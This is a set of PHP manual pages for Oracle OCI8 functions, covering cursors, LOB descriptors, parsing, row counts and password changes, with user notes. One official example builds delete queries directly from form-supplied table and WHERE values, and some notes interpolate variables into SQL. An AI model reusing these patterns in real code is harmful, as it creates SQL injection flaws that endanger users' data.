//   1234

?>

See oci_connect() for further examples of parameter usage.

See Also

  • oci_connect() - Connect to an Oracle database
  • oci_pconnect() - Connect to an Oracle database using a persistent connection

User Contributed Notes

There are no user contributed notes for this page.


Allocates and returns a new cursor (statement handle)

  • « oci_new_connect
  • oci_new_descriptor »
  • PHP Manual
  • OCI8 Functions
  • Allocates and returns a new cursor (statement handle)

oci_new_cursor

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_cursor — Allocates and returns a new cursor (statement handle)

Description

resource oci_new_cursor ( resource $connection )

Allocates a new statement handle on the specified connection.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

Return Values

Returns a new statement handle, or FALSE on error.

Examples

Example #1 Binding a REF CURSOR in an Oracle stored procedure call

<?php

// Precreate:
//   create or replace procedure myproc(myrc out sys_refcursor) as
//   begin
//     open myrc for select first_name from employees;
//   end;

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$curs = oci_new_cursor($conn);
$stid = oci_parse($conn, "begin myproc(:cursbv); end;");
oci_bind_by_name($stid, ":cursbv", $curs, -1, OCI_B_CURSOR);
oci_execute($stid);

oci_execute($curs);  // Execute the REF CURSOR like a normal statement id
while (($row = oci_fetch_array($curs, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo $row['FIRST_NAME'] . "<br />\n";
}

oci_free_statement($stid);
oci_free_statement($curs);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocinewcursor() instead. This name still can be used, it was left as alias of oci_new_cursor() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

mgumiel at mgait dot com 09-Nov-2012 06:15
Some packages in oracle are functions, and that functions returns a cursor.

For example:

CREATE FUNCTION F_Function( p1 char(2), p2 int)
  RETURN SYS_REFCURSOR
AS
  my_cursor SYS_REFCURSOR;
BEGIN
  OPEN my_cursor FOR SELECT * FROM allitems
                           WHERE (cod=p1)
                                      AND (Number=p2);
  RETURN my_cursor;
END F_Function;

Here is the code that allows to obtain data from a function that returns a cursor.

<pre>
<?php
 $conn=oci_connect("server", "user", "pass");
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

    //You must asign before.
    $p1 = '03';
    $p2 = 2012016191;

    $stid = oci_parse($conn, 'begin :cursor := server.PKG_package.F_Function(:p1,:p2); end;');
    $p_cursor = oci_new_cursor($conn);

    //Send parameters variable  value  lenght
    oci_bind_by_name($stid, ':p1', $p1,2);
    oci_bind_by_name($stid, ':p2', $p2,10);

    //Bind Cursor     put -1
    oci_bind_by_name($stid, ':cursor', $p_cursor, -1, OCI_B_CURSOR);

    // Execute Statement
    oci_execute($stid);
    oci_execute($p_cursor, OCI_DEFAULT);

    oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);
    echo '<br>';
    print_r($cursor);
 ?>
sixd at php dot net 28-Jan-2010 07:41
Oracle 11.2 introduced support for REF CURSOR prefetching
sixd at php dot net 05-Nov-2008 09:13
Because OCI8 uses "prefetching" to greatly improve returning query results, but Oracle doesn't support prefetching for REF CURSORs, application performance using REF CURSORs can be greatly improved by writing a PL/SQL function that pulls data from the REF CURSOR and PIPEs the output. The new function can be queried in a SELECT as if it were a table.  See http://blogs.oracle.com/opal/2008/11/
converting_ref_cursor_to_pipe.html


Initializes a new empty LOB or FILE descriptor

  • « oci_new_cursor
  • oci_num_fields »
  • PHP Manual
  • OCI8 Functions
  • Initializes a new empty LOB or FILE descriptor

oci_new_descriptor

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_descriptor — Initializes a new empty LOB or FILE descriptor

Description

OCI-Lob oci_new_descriptor ( resource $connection [, int $type = OCI_DTYPE_LOB ] )

Allocates resources to hold descriptor or LOB locator.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

type

Valid values for type are: OCI_DTYPE_FILE, OCI_DTYPE_LOB and OCI_DTYPE_ROWID.

Return Values

Returns a new LOB or FILE descriptor on success, FALSE on error.

Examples

Example #1 oci_new_descriptor() example

<?php
/* This script is designed to be called from a HTML form.
 * It expects $user, $password, $table, $where, and $commitsize
 * to be passed in from the form.  The script then deletes
 * the selected rows using the ROWID and commits after each
 * set of $commitsize rows. (Use with care, there is no rollback)
 */
$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "select rowid from $table $where");
$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_define_by_name($stmt, "ROWID", $rowid);
oci_execute($stmt);
while (oci_fetch($stmt)) {
    $nrows = oci_num_rows($stmt);
    $delete = oci_parse($conn, "delete from $table where ROWID = :rid");
    oci_bind_by_name($delete, ":rid", $rowid, -1, OCI_B_ROWID);
    oci_execute($delete);
    echo "$nrows\n";
    if (($nrows % $commitsize) == 0) {
        oci_commit($conn);
    }
}
$nrows = oci_num_rows($stmt);
echo "$nrows deleted...\n";
oci_free_statement($stmt);
oci_close($conn);
?>
<?php
    /* This script demonstrates file upload to LOB columns
     * The formfield used for this example looks like this
     * <form action="upload.php" method="post" enctype="multipart/form-data">
     * <input type="file" name="lob_upload" />
     * ...
     */
  if (!isset($lob_upload) || $lob_upload == 'none'){
?>
<form action="upload.php" method="post" enctype="multipart/form-data">
Upload file: <input type="file" name="lob_upload" /><br />
<input type="submit" value="Upload" /> - <input type="reset" value="Reset" />
</form>
<?php
  } else {

     // $lob_upload contains the temporary filename of the uploaded file

     // see also the features section on file upload,
     // if you would like to use secure uploads

     $conn = oci_connect($user, $password);
     $lob = oci_new_descriptor($conn, OCI_D_LOB);
     $stmt = oci_parse($conn, "insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, EMPTY_BLOB()) returning the_blob into :the_blob");
     oci_bind_by_name($stmt, ':the_blob', $lob, -1, OCI_B_BLOB);
     oci_execute($stmt, OCI_DEFAULT);
     if ($lob->savefile($lob_upload)){
        oci_commit($conn);
        echo "Blob successfully uploaded\n";
     }else{
        echo "Couldn't upload Blob\n";
     }
     $lob->free();
     oci_free_statement($stmt);
     oci_close($conn);
  }
?>

Example #2 oci_new_descriptor() example

<?php
/* Calling PL/SQL stored procedures which contain clobs as input
 * parameters (PHP 4 >= 4.0.6).
 * Example PL/SQL stored procedure signature is:
 *
 * PROCEDURE save_data
 *   Argument Name                  Type                    In/Out Default?
 *   ------------------------------ ----------------------- ------ --------
 *   KEY                            NUMBER(38)              IN
 *   DATA                           CLOB                    IN
 *
 */

$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "begin save_data(:key, :data); end;");
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':key', $key);
oci_bind_by_name($stmt, ':data', $clob, -1, OCI_B_CLOB);
$clob->write($data);
oci_execute($stmt, OCI_DEFAULT);
oci_commit($conn);
$clob->free();
oci_free_statement($stmt);
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocinewdescriptor() instead. This name still can be used, it was left as alias of oci_new_descriptor() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_bind_by_name() - Binds a PHP variable to an Oracle placeholder

User Contributed Notes

Mike 16-May-2012 05:46
If you're passing a clob variable to oracle stored procedure, you could:

<?php
$qry = 'begin my_sp(:largetext); end;';
$stmt = oci_parse($conn, $qry); //definition of $conn is not included here
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ":largetext", $clob, -1, OCI_B_CLOB);
$clob->writetemporary($mylargedata);
oci_execute($stmt);
$clob->free();
oci_free_statement($stmt);
?>

Hopefully this will help!
ajitsingh4u at gmail dot com 09-May-2008 03:31
<?php
// calling stored procedure to get clob data type (we use to get xml from oracle)

error_reporting(E_ALL ^ E_NOTICE);

$conn = oci_connect($user, $password);

$sql = "BEGIN sp_employee_xml_data_select(:result); END;";
$stmt = oci_parse($conn , $sql);

$objClob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':result', $objClob, -1, OCI_B_CLOB);

oci_execute($stmt, OCI_DEFAULT);
$xmlData = $objClob->load($result);

$objClob->free();
oci_free_statement($stmt);

echo $xmlData;

?>
Ben Hubbard ben at vonik dot com 07-Apr-2006 06:57
Here is another example of how to insert a BLOB into table using a PL/SQL function.

Oracle Database Code:

create table blob_table ( the_blob blob);

create or replace function insert_blob(out_blob out blob)
    return integer is
    begin
       insert into blob_table values (EMPTY_BLOB())
         return the_blob into out_blob;
       return 0; /* Success */
    end insert_blob;

PHP Code:

<?php
  $iResult = -1;
  $strTestData = 'Testing 123';
  $conn = oci_connect($user, $password);
  $stmt = oci_parse($conn, "begin :RES := insert_blob(:OUT_BLOB); end;");

  $objBlob = oci_new_descriptor($conn, OCI_D_LOB);
  oci_bind_by_name($stmt, ":RES", $iResult);
  oci_bind_by_name($stmt, ":OUT_BLOB", $objBlob, -1, OCI_B_BLOB);
  oci_execute($stmt, OCI_DEFAULT);
  $objBlob->write($strTestData);
  oci_commit($conn);
  $objBlob->free();
  oci_free_statement($stmt);
?>
kirt at diagonalsoftware dot com 27-Jul-2005 04:43
Here is an example of retrieving a CLOB as an output parameter from a stored procedure. This is a bit hack-y and maybe there's a cleaner way to do this, but I couldn't find one. The following definitely works with Oracle 9:

// the query to call the procedure, which includes declaring the
// output parameter and assigning the result to a variable to be bound.
$qry = '
declare clob_out clob;
begin
  myprocedure(someparam_in, clob_out);
  :myclob := clob_out;
end;
';

// parse the query and bind the 'myclob' variable
$sth = OCIParse($conn,$qry);
$myclob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($sth,":myclob",$myclob,-1,OCI_B_CLOB);

OCIExecute($sth);

// display the results
echo $myclob->load();
<Serg Petrenko> pserg at inkfrog dot com 09-Jun-2005 06:22
How to insert big XML data as CLOB into table with XMLType field.

<?php

//CREATE TABLE sometable(
//id number(8) not null,
//record XMLType
//) XMLTYPE COLUMN record STORE AS OBJECT RELATIONAL
//XMLSCHEMA "someschema" ELEMENT "some_element";
//

$sql = "INSERT INTO sometable(id, record) VALUES(some_sequqnce.nextval, sys.xmltype.createxml(:rec)) RETURNING ID INTO :rid";
$stmt = OCIParse($ora_conn,$sql);
$clob = OCINewDescriptor($ora_conn, OCI_D_LOB);
$rowid = OCINewDescriptor($ora_conn,OCI_D_ROWID);
OCIBindByName($stmt, ':rec', &$clob, -1,OCI_B_CLOB);
OCIBindByName($stmt, ':rid', $rowid, -1);
$clob->WriteTemporary($xml,OCI_TEMP_CLOB);
$success = OCIExecute($stmt,OCI_DEFAULT);
if(!$success) {
OCICommit($ora_conn);
}
OCIFreeStatement($stmt);
OCIFreeDesc($lob);

?>

I hope it will help :)
cyrill@_malevanov_dot_spb_dot_ru 10-May-2004 10:05
Passing CLOB to stored procedure and retrieve CLOB too (function lobinout(a in clob) return clob)

<?
    error_reporting(1+2+4+8);
    $conn = OCILogon('batdtd', 'batdtd', 'batxml');

    $lobin = OCINewDescriptor($conn, OCI_D_LOB);
    $lobout = OCINewDescriptor($conn, OCI_D_LOB);

    $stmt = OCIParse($conn, "declare rs clob; begin :rs := lobinout(:par); end;");
    $lob_data = 'abcdefgh';

    echo "binding lobin...";
    OCIBindByName($stmt, ':par', $lobin, -1, OCI_B_CLOB);

    echo "done<br>binding rs...";

    OCIBindByName($stmt, ':rs', $lobout, -1, OCI_B_CLOB);

    echo "done<br>writing temp lob...";
             // here we pass data to func
    $lobin -> WriteTemporary($lob_data);
    echo "done<br>executing...";

    OCIExecute($stmt, OCI_DEFAULT);
             // here we load data returned from func
    echo "done<br>rs = ".$lobout->load();
    OCICommit($conn);
    $lobin -> free();
    $lobout -> free();
    OCIFreeStatement($stmt);
    OCILogoff($conn);
?>
cjbj at hotmail dot com 17-Mar-2004 07:55
In PHP5 the way Example 2 passes a CLOB bind variable as an input
parameter to a PL/SQL procedure can be extended to BLOBs.

The critical change is:

    OCIBindByName($stmt, ':data', $blob, -1, OCI_B_BLOB);
    $blob->WriteTemporary($data, OCI_B_BLOB);

This doesn't work for me in PHP4.  I believe it is because the
implementation of OCIWriteTemporaryLob() always binds as a CLOB.
(This is true as of php4-STABLE-200403170230).  In PHP5 the interface
has changed and a type parameter is permitted.
Nathan Rogers 06-Nov-2003 12:35
I found another method of inserting/updating lob data.  It works the same was as passing lob parameters to a stored procedure and avoids the need for a RETURNING clause.
    $lob = OCINewDescriptor($conn, OCI_D_LOB);
    $stmt = OCIParse($conn,"insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, :the_blob)");
    OCIBindByName($stmt, ':the_blob', &$lob, -1, OCI_B_BLOB);
    $lob->WriteTemporary($data);
    OCIExecute($stmt, OCI_DEFAULT);
    $lob->close();
    $lob->free();
    OCICommit($conn);

There are some cases involving triggers where you can't use a RETURNING clause, so this method can come in handy.  The case where I needed it was updating a view that had an instead-of update trigger.
Maxwell_Smart (at) ThePentagon (dot) com 23-Sep-2003 11:13
Just a note. When INSERTing a CLOB, if a VALUES clause is used, Oracle notes: You cannot initialize an internal LOB attribute in an object with a value other than empty or null. That is, you cannot use a literal.

That's why all the examples here INSERT an EMPTY_CLOB(), and use RETURNING to grab the pointer.

However, a CLOB can also be INSERTed via a SELECT statement, and that won't require any descriptors.

Example:

$Clob = Str_Replace("'", "''", $Clob);

OCIParse($DB, "INSERT INTO My_Table (My_Clob) SELECT '$Clob' FROM Dual");

This, of course, allows the use of a WHERE clause as well.
tca at engineer dot com 25-Oct-2002 10:33
Two examples of retrieving CLOBs from the database.  They are almost identical.  The first is using a package(and cursor) which is how I interface to Oracle at work, and the second is using straight SQL, which most people post examples in.

I also convert the case from upper to lower, since that is how I prefer to work with assoc arrays...

Instead of using the get_class() function you could use the OCIColumnType() function which (in this case) would return 'CLOB' as a result...

/**
* Example 1
*
* Using a PL/SQL package and cursor
*
*/
$cursor=':p_cur';
$sql2="begin clobPackage.getClob($cursor); end;";
$curs=OCINewCursor($conn);
$stmt=OCIParse($conn,$sql2);
OCIBindByName($stmt,$cursor,&$curs,-1,OCI_B_CURSOR);
OCIExecute($stmt,OCI_DEFAULT);
OCIExecute($curs,OCI_DEFAULT);
$x=0;
while(OCIFetch($curs)){
  $cols=OCINumCols($curs);
  for($i=1;$i<=$cols;$i++){
    $column_name=OCIColumnName($curs,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

/**
* Example 2
*
* Using a SELECT
*
*/
$query="SELECT a_num, a_clob FROM clob_test";
$stmt=OCIParse($conn,$query);
OCIExecute($stmt,OCI_DEFAULT);
$x=0;
while(OCIFetch($stmt)){
  $ncols=OCINumCols($stmt);
  for($i=1;$i<=$ncols;$i++){
    $column_name=OCIColumnName($stmt,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

I hope someone finds this useful.

Cheers,
Keith.
sozturk at emediamillworks dot com 10-Apr-2002 12:30
I had the same problem with updating the lobs with shorter content as in one of the notes above. The addition of "\0" at the end of the replacement text didn't help either. But the following worked perfectly:

$sql = "UPDATE sometable SET lob_col = EMPTY_LOB() WHERE key_col = $key RETURNING lob_col INTO :lob";
$stmt = OCIParse($conn,$sql);
$lob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($stmt,':lob',&$lob,-1,OCI_B_BLOB);
OCIExecute($stmt,OCI_DEFAULT);
$lob->save($sometext);
$lob->free();
aidanpeiser at yahoo dot com 27-Mar-2002 08:12
another way to display your clob details !

    $query = "select * from Your_clob_table";
    $stmt = OCIParse($conn, $query);
    ociexecute($stmt);

        while ( OCIFetch($stmt))
        {
         $lob = OCIResult($stmt,"CLOB_MESSAGE");
         $CLOB_MESSAGE = $lob->load();
         echo $CLOB_MESSAGE;
        }

this works,
moom_mong at yahoo dot com 19-Dec-2001 07:54
To read a lob, other way:

$sql = OCIParse("select * from table_with_lob_field");
OCIExecute($sql, OCI_DEFAULT);
while ( OCIFetch($sql)) {
 $o = ociresult($sql,"loc_field_name");
 $loc_field_name = $o->load();
 print $loc_field_name;
};
jcd at iddg dot com 03-Mar-2000 11:42
[Editor's note: don't use '&' for parameters in bind calls in PHP 5]

The code up above is somewhat correct... here's an example of how I got a CLOB to work

<?php
function insert_adinfo($AdInfoID, $MagazineType, $Publish, $DatePost, $BodyText)
{
   global $db;

    // Insert record into database
    $clob = OCINewDescriptor($db, OCI_D_LOB);
    $stmt = OCIParse($db,"insert into tblAdInfo values ($AdInfoID,                  $MagazineType, '$Publish', to_date('$DatePost', 'YYYY-MM-DD'),                  EMPTY_CLOB()) returning BodyText into :the_blob");
    OCIBindByName($stmt, ':the_blob', &$clob, -1, OCI_B_CLOB);
    OCIExecute($stmt, OCI_DEFAULT);
    if($clob->save($BodyText)){
        OCICommit($db);
    }else{
        echo "Problems: Couldn't upload Clob\n";
    }

   OCIFreeDescriptor($clob);
   OCIFreeStatement($stmt);
}
?>


Returns the number of result columns in a statement

  • « oci_new_descriptor
  • oci_num_rows »
  • PHP Manual
  • OCI8 Functions
  • Returns the number of result columns in a statement

oci_num_fields

(PHP 5, PECL OCI8 >= 1.1.0)

oci_num_fields — Returns the number of result columns in a statement

Description

int oci_num_fields ( resource $statement )

Gets the number of columns in the given statement.

Parameters

statement

A valid OCI statement identifier.

Return Values

Returns the number of columns as an integer, or FALSE on errors.

Examples

Example #1 oci_num_fields() example

<?php

// Create the table with:
//   CREATE TABLE mytab (id NUMBER, quantity NUMBER);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
    echo oci_field_name($stid, $i) . " " . oci_field_type($stid, $i) . "<br>\n";
}

// Outputs:
//    ID NUMBER
//    QUANTITY NUMBER

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocinumcols() instead. This name still can be used, it was left as alias of oci_num_fields() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

jnield at impole dot com 19-Nov-1999 04:43
The following is not immediately obvious:

If you need the number of columns in a REF CURSOR returned from a PL/SQL procedure, you need to use OCINumColumns() on the cursor handle returned by OCINewCursor after it is bound and executed, not the statement handle. Same applies for OCIColumnName() and friends.


Returns number of rows affected during statement execution

  • « oci_num_fields
  • oci_parse »
  • PHP Manual
  • OCI8 Functions
  • Returns number of rows affected during statement execution

oci_num_rows

(PHP 5, PECL OCI8 >= 1.1.0)

oci_num_rows — Returns number of rows affected during statement execution

Description

int oci_num_rows ( resource $statement )

Gets the number of rows affected during statement execution.

Parameters

statement

A valid OCI statement identifier.

Return Values

Returns the number of rows affected as an integer, or FALSE on errors.

Examples

Example #1 oci_num_rows() example

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "create table emp2 as select * from employees");
oci_execute($stid);
echo oci_num_rows($stid) . " rows inserted.<br />\n";
oci_free_statement($stid);

$stid = oci_parse($conn, "delete from emp2");
oci_execute($stid, OCI_DEFAULT);
echo oci_num_rows($stid) . " rows deleted.<br />\n";
oci_commit($conn);
oci_free_statement($stid);

$stid = oci_parse($conn, "drop table emp2");
oci_execute($stid);
oci_free_statement($stid);

oci_close($conn);

?>

Notes

Note:

This function does not return number of rows selected! For SELECT statements this function will return the number of rows, that were fetched to the buffer with oci_fetch*() functions.

Note:

In PHP versions before 5.0.0 you must use ocirowcount() instead. This name still can be used, it was left as alias of oci_num_rows() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

pluueer at hotmail dot com 20-Apr-2010 11:51
If you want to return te number of rows without fetching all data it might by more efficient to use this code (correct me if I'm wrong):

$sql_query = 'SELECT COUNT(*) AS NUMBER_OF_ROWS FROM (' . $your_query . ')';

$stmt= oci_parse($conn, $sql_query);

oci_define_by_name($stmt, 'NUMBER_OF_ROWS', $number_of_rows);

oci_execute($stmt);

oci_fetch($stmt);

echo $number_of_rows;
justin at flakmag dot com 27-Aug-2000 03:59
It appears the easiest workaround if you want to get numrows without moving to the end of the result set is to use:

numrows = OCIFetchStatement(...);
OCIExecute(...);

So that the execute re-executes the query. It's horribly inefficient to query twice, but it works.
batti at digito dot com 16-Feb-2000 05:52
this function can be used with select statement, and also return affected number of rows.
But remember this, use this after fetch statement.


Prepares an Oracle statement for execution

  • « oci_num_rows
  • oci_password_change »
  • PHP Manual
  • OCI8 Functions
  • Prepares an Oracle statement for execution

oci_parse

(PHP 5, PECL OCI8 >= 1.1.0)

oci_parse — Prepares an Oracle statement for execution

Description

resource oci_parse ( resource $connection , string $sql_text )

Prepares sql_text using connection and returns the statement identifier, which can be used with oci_bind_by_name(), oci_execute() and other functions.

Statement identifiers can be freed with oci_free_statement() or by setting the variable to NULL.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

sql_text

The SQL or PL/SQL statement.

SQL statements should not end with a semi-colon (";"). PL/SQL statements should end with a semi-colon (";").

Return Values

Returns a statement handle on success, or FALSE on error.

Examples

Example #1 oci_parse() example for SQL statements

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

// Parse the statement. Note there is no final semi-colon in the SQL statement
$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 oci_parse() example for PL/SQL statements

<?php

/*
  Before running the PHP program, create a stored procedure in
  SQL*Plus or SQL Developer:

  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
  BEGIN
      p2 := p1 * 2;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

// When parsing PL/SQL programs, there should be a final semi-colon in the string
$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

This function does not validate sql_text. The only way to find out if sql_text is a valid SQL or PL/SQL statement is to execute it.

See Also

  • oci_execute() - Executes a statement
  • oci_free_statement() - Frees all resources associated with statement or cursor

User Contributed Notes

falundir at gmail dot com 08-Feb-2011 02:38
When you want to call stored function (and want to read its result) which executes DML queries (insert, update, delete) inside its body you can't use "select your_stored_function(:param1, :param2) from dual" because you will receive "ORA-14551: cannot perform a DML operation inside a query" error.

In order to call such function and get its result you need to wrap it into nested procedure with OUT parameter like this:

DECLARE
  PROCEDURE caller(return_value OUT NUMBER) AS
  BEGIN
    return_value := your_stored_function(:param1, :param2);
  END;
BEGIN
  caller(:return_value);
END;

and bind to :return_value variable to get the result of function.
michael dot virnstein at brodos dot de 04-Dec-2007 05:43
A neat way to parse a query only once per script, if the query is done inside a function:

<?php
function querySomething($conn, $id)
{
    static $stmt;

    if (is_null($stmt)) {
        $stmt = oci_parse($conn, 'select * from t where pk = :id');
    }

    oci_bind_by_name($stmt, ':id', $id, -1);

    oci_execute($stmt, OCI_DEFAULT);

    return oci_fetch_array($stmt, OCI_ASSOC);

}

?>

With the static variable, the statment handle isn't closed after the function has terminated. Very nice for functions that are called e.g. in loops. Unfortunately this only works for static sql. If you have dynamic sql, you can do the following:

<?php

function querySomething($conn, $data)
{
    static $stmt = array();

    $first = true;

    $query = 'select * from t';

    foreach ($data as $key => $value) {
        if ($first) {
            $first = false;
            $query .= ' where ';
        } else {
            $query .= ' and ';
        }

        $query .= "$key = :b$key";
    }

    $queryhash = md5($query);

    if (is_null($stmt[$queryhash])) {
        $stmt[$queryhash] = oci_parse($conn, $query);
    }

    foreach ($data as $key => $value) {
        // don't use $value, because we bind memory addresses here.
        // this would result in every bind pointing at the same value after foreach
        oci_bind_by_name($stmt[$queryhash], ":b$key", $data[$key], -1);
    }

    oci_execute($stmt[$queryhash], OCI_DEFAULT);

    return oci_fetch_array($stmt[$queryhash], OCI_ASSOC);

}

?>
kurt at kovac dot ch 04-May-2004 05:40
For those that are having trouble with error checking, i have noticed on a lot of sites that people are trying to check the statement handle for error messages with OCIParse. Since the statement handle ($sth) is not created yet, you need to check the database handle ($dbh) for any errors with OCIParse. For example:

instead of:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($stmt);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

use:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($conn);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

Hope this helps someone.
egypt at nmt dot edu 15-Oct-2003 04:31
Whereas MySQL doesn't care what kind of quotes are around a LIKE clause, ociexecute gives the error:
    ociexecute(): OCIStmtExecute: ORA-00904: "NM": invalid identifier
for the following.
<?php
$sql  = "SELECT * FROM addresses "
      . "WHERE state LIKE \"NM\"";  // error!
$stmt = ociparse($conn, $sql);
ociexecute($stmt);
?>

it's fine if you just use single quotes:
    . "WHERE state LIKE 'NM'";
but i think it's interesting that ociparse doesn't say anything


Changes password of Oracle's user

  • « oci_parse
  • oci_pconnect »
  • PHP Manual
  • OCI8 Functions
  • Changes password of Oracle's user

oci_password_change

(PHP 5, PECL OCI8 >= 1.1.0)

oci_password_change — Changes password of Oracle's user

Description

bool oci_password_change ( resource $connection , string $username , string $old_password , string $new_password )
resource oci_password_change ( string $dbname , string $username , string $old_password , string $new_password )

Changes password for user with username.

The oci_password_change() function is most useful for PHP command-line scripts, or when non-persistent connections are used throughout the PHP application.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

username

The Oracle user name.

old_password

The old password.

new_password

The new password to be set.

dbname

The database name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_password_change() example changing the password of an already connected user

<?php

$dbase      = 'localhost/orcl';
$user       = 'cj';
$current_pw = 'welcome';
$new_pw     = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
oci_password_change($c, $user, $current_pw, $new_pw);
echo "New password is : " . $new_pw . "\n";

?>

Example #2 oci_password_change() example of connecting and changing the password in one step

<?php

$dbase      = 'localhost/orcl';
$user       = 'cj';
$current_pw = 'welcome';
$new_pw     = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
if (!$c) {
    $m = oci_error();
    if ($m['code'] == 28001) { // "ORA-28001: the password has expired"
        // Login and reset password at the same time
        $c = oci_password_change($dbase, $user, $current_pw, $new_pw);
        if ($c) {
            echo "New password is : " . $new_pw . "\n";
        }
    }
}

if (!$c) {  // The original error wasn't 28001, or the password change failed
    $m = oci_error();
    trigger_error('Could not connect to database: '. $m['message'], E_USER_ERROR);
}

// Use the connection $c
...

?>

Notes

Note:

Changing the password either with this function or directly in Oracle should be done carefully. This is because PHP applications may continue to successfully reuse persistent connections by authenticating with the old password. The best practice is to restart all web servers whenever the user password is changed.

Note:

If upgrading the Oracle client libraries or the database from a release prior to 11.2.0.3 to version 11.2.0.3 or higher, oci_password_change() may give the error "ORA-1017: invalid username/password" unless both client and server versions are upgraded at the same time.

Note:

The second oci_password_change() syntax is available since OCI8 version 1.1.

Note:

In PHP versions before 5.0.0 you must use ocipasswordchange() instead. This name still can be used, it was left as alias of oci_password_change() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.


Connect to an Oracle database using a persistent connection

  • « oci_password_change
  • oci_result »
  • PHP Manual
  • OCI8 Functions
  • Connect to an Oracle database using a persistent connection

oci_pconnect

(PHP 5, PECL OCI8 >= 1.1.0)

oci_pconnect — Connect to an Oracle database using a persistent connection

Description

resource oci_pconnect ( string $username , string $password [, string $connection_string [, string $character_set [, int $session_mode ]]] )

Creates a persistent connection to an Oracle server and logs on.

Persistent connections are cached and re-used between requests, resulting in reduced overhead on each page load; a typical PHP application will have a single persistent connection open against an Oracle server per Apache child process (or PHP FastCGI/CGI process). See the Persistent Database Connections section for more information.

Parameters

username

The Oracle user name.

password

The password for username.

connection_string

Contains the Oracle instance to connect to. It can be an » Easy Connect string, or a Connect Name from the tnsnames.ora file, or the name of a local Oracle instance.

If not specified, PHP uses environment variables such as TWO_TASK (on Linux) or LOCAL (on Windows) and ORACLE_SID to determine the Oracle instance to connect to.

To use the Easy Connect naming method, PHP must be linked with Oracle 10g or greater Client libraries. The Easy Connect string for Oracle 10g is of the form: [//]host_name[:port][/service_name]. From Oracle 11g, the syntax is: [//]host_name[:port][/service_name][:server_type][/instance_name]. Service names can be found by running the Oracle utility lsnrctl status on the database server machine.

The tnsnames.ora file can be in the Oracle Net search path, which includes $ORACLE_HOME/network/admin and /etc. Alternatively set TNS_ADMIN so that $TNS_ADMIN/tnsnames.ora is read. Make sure the web daemon has read access to the file.

character_set

